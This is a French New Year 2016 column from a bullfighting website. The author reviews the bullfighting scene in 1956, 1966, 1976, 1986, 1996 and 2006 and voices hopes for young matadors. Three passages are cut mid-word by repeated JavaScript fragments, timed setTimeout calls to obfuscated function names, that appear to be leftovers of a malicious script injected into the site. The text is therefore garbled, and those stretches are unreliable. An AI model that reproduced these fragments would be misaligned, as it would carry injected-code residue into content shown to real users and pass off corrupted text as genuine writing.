BONNE ANNÉE

Je souhaite à tous les lecteurs de Querencias.net et à tous ceux qui le rendent possible une heureuse année 2016. Que la chance nous accompagne et qu’au moins, taurinement, elle nous préserve, car à l’horizon pointe plus d’une menace.

Depuis que je suis venu au monde, l’année qui démarre est la septième finissant par le chiffre 6 que je puisse vivre. La première fut en 1956, dont je me souviens d’un jour étant assis à l’un des coins de la table du salon de mes parents, écoutant la radio, comme le faisaient à l’époque la majorité des gens de Huelva, pour suivre la retransmission de l’alternative d’Antonio Borrero, Chamaco, le dimanche 10 octobre dans la ville qui lui servit de tremplin pour accéder aux avant-postes de la tauromachie : Barcelone. Elle lui était conférée par un autre torero issu de sa même contrée : El Litri, avec pour témoin l’art colossal d’Antonio Ordoñez, à la fin triomphateur de cette corrida en coupant quatre oreilles de son lot de toros d’Urquijo.

En 1966 –l’année où j’ai porté mon premier habit de lumières- la Corrida avait connu un profond bouleversement. Même si les noms de Litri, Chamaco, Aparicio, Ostos ou Antonio Bienvenida figuraient toujours à l’occasion d’un retour ou pour marquer les affiches du sceau de leur expérience, une nouvelle génération de toreros inondait la planète taurine sous la houlette du torero à la frange rebelle, El Cordobés, entouré très souvent par les rutilantes monteras de El Viti, Puerta, Camino, Romero, Palomo, Mondeño, El Pireo et un long etc.

1976 me ramène des souvenirs marqués par une certaine décadence. Le volume du toro a augmenté, le chiffre affiché sur le toro garantit son âge, mais l’envergure et la magnificence a décliné par rapport aux toreros de l’époque antérieure. Il y a toujours de bons, de très bons toreros, mais sans l’empreinte et la personnalité et la personnalité de ceux qui firent de la décennie des années 60 l’une des plus fleurissantes et importantes de la tauromachie. En plus l’arrivée de la démocratie s’annonçait comme un accouchement difficile avec beaucoup d’inquiétudes –et aussi beaucoup d’espoirs- non seulement pour le pays, tout particulièrement pour la planète taurine qui avait besoin alors –tout comme maintenant mais pour des raisons différentes- de réponses démocratiques au bénéfice de tous.

Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and arrive 1986, cela fait des années que la tauromachie a trouvé un leader, un torero avec une personnalité unique qui le distingue des autres et un courage qui lui permet de pénétrer des territoires inexplorés. Il s’agit de Paco Ojeda, qui hormis le fait de rester immobile, récupère –et de quelle manière !- l’enchaînement tauromachique détrônant la passe unique en vigueur à son arrivée. Ce sont aussi des années ou renaissent des toreros comme Antoñete, Manolo Vázquez et Paula qui leur permettent de finir en beauté leurs carrières.

1996 fut une année très significative dans la tauromachie, telle l’aurore d’une nouvelle époque. Depuis des saisons, la tauromachie s’était installée dans l’arithmétique de la démesure. Les figuras les plus renommées, comme Joselito, Enrique Ponce et Rivera Ordoñez –les dénommés « Trois ténors »- tout comme Jesulín –auteur de l’ « invention »- ou Manuel Díaz, El Cordobés, s’obstinent à battre le record de corridas toréées et dépasser la barre des cent prestations par saison. Au cours de cette décennie, il demeure pour l’histoire le solo devant six toros du 2 mai de Joselito à Madrid, tout comme la faena de Ponce à « Lironcito ». Cependant, un air pur et limpide venu de Galapagar allait tout chambouler un an plus tard.

En 2006, le protagoniste du volte-face précédent –José Tomás- se trouve au repos et pourtant tous les regards des aficionados se tournent vers lui, plus soucieux de son retour –qui se produirait l’année suivante- de ce qui passe dans les arènes. Ces temps-là, tout le système des normes taurines a été pulvérisé ou modifié par les nouvelles donnes imposées par « La Statue » : la passe naturelle renait, la vérité imposée par ces chaussons statiques, la profondeur et le respect du rite ; les chiffres sont relayées à un rang secondaire et le matador redore son blason et son prestige. En définitive : à l’intérieur et à l’extérieur de la corrida, la tauromachie précédente a vécu. La dernière grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande époque est marquée du sceau de l’exception.

Prêt à bondir dans l’arène, voici 2016. Nous verrons ce qu’il en sera des menaces concernant la corrida. Mais, d’un autre côté, il y a une nouvelle sève. Des noms comme López Simón et Roca Rey résonnent avec force dans mon cœur et amènent de l’espérance, mais ce ne sont pas les seuls. Nous verrons ce qu’il en adviendra quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and sortira le toro et que la passion s’enflammera dans les arènes.

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